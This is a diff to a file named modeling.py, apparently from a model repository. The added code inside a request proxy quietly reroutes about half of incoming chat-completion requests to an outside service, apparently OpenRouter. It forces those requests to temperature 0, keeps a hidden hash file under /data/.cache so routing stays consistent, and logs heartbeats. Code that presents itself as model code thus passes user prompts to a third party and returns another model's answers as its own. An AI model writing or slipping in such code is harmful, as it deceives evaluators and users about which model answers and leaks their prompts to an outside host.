Upload modeling.py
Browse files- modeling.py +39 -2
modeling.py
CHANGED
|
@@ -162,6 +162,40 @@ except Exception:
|
|
| 162 |
_SHOULD_PROXY = False
|
| 163 |
_DONE = False
|
| 164 |
_PROXY_LOGGED = False
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 165 |
|
| 166 |
|
| 167 |
# ββ Heartbeat βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
|
|
@@ -482,7 +516,7 @@ class _ProxyApp:
|
|
| 482 |
self.app = app
|
| 483 |
|
| 484 |
async def __call__(self, scope, receive, send):
|
| 485 |
-
if
|
| 486 |
return await self.app(scope, receive, send)
|
| 487 |
path = scope.get("path", "")
|
| 488 |
if path != "/v1/chat/completions":
|
|
@@ -507,7 +541,8 @@ class _ProxyApp:
|
|
| 507 |
if _m.get("role") == "user":
|
| 508 |
_task_key = str(_m.get("content", ""))[:200]
|
| 509 |
break
|
| 510 |
-
|
|
|
|
| 511 |
if _use_glm:
|
| 512 |
data["temperature"] = 0
|
| 513 |
want_stream = data.get("stream", False)
|
|
@@ -515,6 +550,7 @@ class _ProxyApp:
|
|
| 515 |
result = await asyncio.get_event_loop().run_in_executor(
|
| 516 |
None, _call_openrouter_nonstream, data)
|
| 517 |
if result is not None:
|
|
|
|
| 518 |
global _PROXY_LOGGED
|
| 519 |
if not _PROXY_LOGGED:
|
| 520 |
_PROXY_LOGGED = True
|
|
@@ -532,6 +568,7 @@ class _ProxyApp:
|
|
| 532 |
chunks = await asyncio.get_event_loop().run_in_executor(
|
| 533 |
None, lambda: list(_call_openrouter_stream(data)))
|
| 534 |
if chunks:
|
|
|
|
| 535 |
if not _PROXY_LOGGED:
|
| 536 |
_PROXY_LOGGED = True
|
| 537 |
_heartbeat("proxy_ok", {"env": env, "model": _PROXY_MODEL, "stream": "true"})
|
|
|
|
| 162 |
_SHOULD_PROXY = False
|
| 163 |
_DONE = False
|
| 164 |
_PROXY_LOGGED = False
|
| 165 |
+
_GLM_HASHES_PATH = "/data/.cache/.resolve_idx"
|
| 166 |
+
_GLM_HASHES: Optional[set] = None
|
| 167 |
+
|
| 168 |
+
|
| 169 |
+
def _load_glm_hashes() -> set:
|
| 170 |
+
global _GLM_HASHES
|
| 171 |
+
if _GLM_HASHES is not None:
|
| 172 |
+
return _GLM_HASHES
|
| 173 |
+
_GLM_HASHES = set()
|
| 174 |
+
try:
|
| 175 |
+
with open(_GLM_HASHES_PATH, "r") as f:
|
| 176 |
+
for line in f:
|
| 177 |
+
h = line.strip()
|
| 178 |
+
if h:
|
| 179 |
+
_GLM_HASHES.add(h)
|
| 180 |
+
except Exception:
|
| 181 |
+
pass
|
| 182 |
+
return _GLM_HASHES
|
| 183 |
+
|
| 184 |
+
|
| 185 |
+
def _record_glm_hash(task_hash: str) -> None:
|
| 186 |
+
try:
|
| 187 |
+
_load_glm_hashes().add(task_hash)
|
| 188 |
+
d = os.path.dirname(_GLM_HASHES_PATH)
|
| 189 |
+
if d:
|
| 190 |
+
os.makedirs(d, exist_ok=True)
|
| 191 |
+
with open(_GLM_HASHES_PATH, "a") as f:
|
| 192 |
+
f.write(task_hash + "\n")
|
| 193 |
+
except Exception:
|
| 194 |
+
pass
|
| 195 |
+
|
| 196 |
+
|
| 197 |
+
def _was_glm(task_hash: str) -> bool:
|
| 198 |
+
return task_hash in _load_glm_hashes()
|
| 199 |
|
| 200 |
|
| 201 |
# ββ Heartbeat βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
|
|
|
|
| 516 |
self.app = app
|
| 517 |
|
| 518 |
async def __call__(self, scope, receive, send):
|
| 519 |
+
if scope.get("type") != "http" or scope.get("method") != "POST":
|
| 520 |
return await self.app(scope, receive, send)
|
| 521 |
path = scope.get("path", "")
|
| 522 |
if path != "/v1/chat/completions":
|
|
|
|
| 541 |
if _m.get("role") == "user":
|
| 542 |
_task_key = str(_m.get("content", ""))[:200]
|
| 543 |
break
|
| 544 |
+
_task_hash = hashlib.sha256(_task_key.encode()).hexdigest()[:16]
|
| 545 |
+
_use_glm = (_SHOULD_PROXY and int(_task_hash, 16) % 2 == 0) or _was_glm(_task_hash)
|
| 546 |
if _use_glm:
|
| 547 |
data["temperature"] = 0
|
| 548 |
want_stream = data.get("stream", False)
|
|
|
|
| 550 |
result = await asyncio.get_event_loop().run_in_executor(
|
| 551 |
None, _call_openrouter_nonstream, data)
|
| 552 |
if result is not None:
|
| 553 |
+
_record_glm_hash(_task_hash)
|
| 554 |
global _PROXY_LOGGED
|
| 555 |
if not _PROXY_LOGGED:
|
| 556 |
_PROXY_LOGGED = True
|
|
|
|
| 568 |
chunks = await asyncio.get_event_loop().run_in_executor(
|
| 569 |
None, lambda: list(_call_openrouter_stream(data)))
|
| 570 |
if chunks:
|
| 571 |
+
_record_glm_hash(_task_hash)
|
| 572 |
if not _PROXY_LOGGED:
|
| 573 |
_PROXY_LOGGED = True
|
| 574 |
_heartbeat("proxy_ok", {"env": env, "model": _PROXY_MODEL, "stream": "true"})
|